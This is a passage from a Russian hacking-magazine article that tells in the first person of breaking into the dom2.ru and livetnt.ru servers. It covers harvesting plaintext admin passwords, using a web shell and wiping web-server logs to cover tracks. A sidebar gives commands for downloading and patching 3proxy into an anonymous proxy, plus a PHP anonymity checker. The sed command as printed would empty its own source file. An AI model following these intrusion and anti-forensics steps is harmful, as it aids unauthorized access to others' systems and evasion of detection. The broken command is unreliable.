Тотальный дестрой “Дома 2” GreenwooD Хакер, номер #076, стр. 076-068-7 Имея такой локальный доступ я побродил по всем директориям, найдя в некоторых самодельную админку. На сервере в директории каждого сайта присутствует папка admin, зайдя в одну из них я увидел кучу админских скриптов. Изучив их содержимое я понял, что все пароли хранятся в базе в открытом виде, но странно, почему они не использовали хеширование, этого мне было не понять. Изучив конфигурационные файлы я понял, в какой таблице следует искать логины и пароли. Через несколько минут у меня был полный доступ к админкам сайтов dom2.ru и livetnt.ru :). Так же имелся доступ к базе данных и к FTP’шнику. Немного полазив по сайту, я удалил своего пользователя для FTP из базы данных, затем удалил phpMyAdmin. Почистил логи веб сервера (файл был большой, так что этот процесс занял много времени). Наконец, когда у меня уже почти полностью пропал интерес к этому серверу, я удалил и web-шел, которым пользовался. Затем на своем web-шелле я убил процесс прокси сервера и почистил логи апача, чтобы полностью исключить возникновение каких-то проблем. Я получил от этого сервера все что хотел и теперь осталось только написать админу обо всех его огрехах и идти спать. Я открыл TheBat и написал письмо, в котором явно указал на все существующие проблемы с безопасностью и пожелал своему коллеге удачи. Анонимные прокси Более лаконичное решение с установкой 3proxy выглядит так. Сливаем дистрибутив 3proxy командой wget www.security.nnov.ru/soft/3proxy/0.5b/3proxy.tgz, если нет wget используем что-нибудь типа curl или links. Распаковываем, а затем добавляем опцию, что бы проксик стал анонимным: tar –zxf 3proxy.tgz; cd ./3proxy/src; cat ./proxy.c | sed '12a\#define ANONYMOUS' > ./proxy.c Для проверки прокси-серверов на анонимность удобно юзать скрипт примерно следующего содержания: <? print "1) IP -" . @$_SERVER['REMOTE_ADDR']; print "<br>2) Браузер - " . @$_SERVER['HTTP_USER_AGENT']; print "<br>3) IP proxy - " . @$HTTP_VIA; print "<br>4) IP forward for - " . @$HTTP_X_FORWARDED_FOR; ?> Чтобы проверить анонимность проксика, необходимо нацепить его на браузер и вызвать этот самопальный скрипт. Как можно понять из исходника скрипта, если 3 и 4 поля чистые, а в 1 поле не содержится твоего адреса, то прокси анонимный. Правда эта проверка не дает гарантий того, что проксик не пишет логов. Для того, что бы быть хоть сколько-то уверенным в собственной безопасности, нужно юзать только свои прокси, в которых уверен на 100%. INFO URI - Uniform Resource Identifiers – это строка символов, указывающая на абстрагированные ресурсы системы. Разделяется на URL Uniform Resource Locator и URM Uniform Resource Name. Подробную информацию смотри в RFC 2396 и 2732. WARNING Данная статья есть плод моего дикого воображения. Читатель должен воспринимать этот материал как информацию к размышлению. Размышлять об этом рекомендуется в мысленной форме и некогда не предпринимать чего-либо незаконного. WWW http://www.securitylab.ru/49633.html |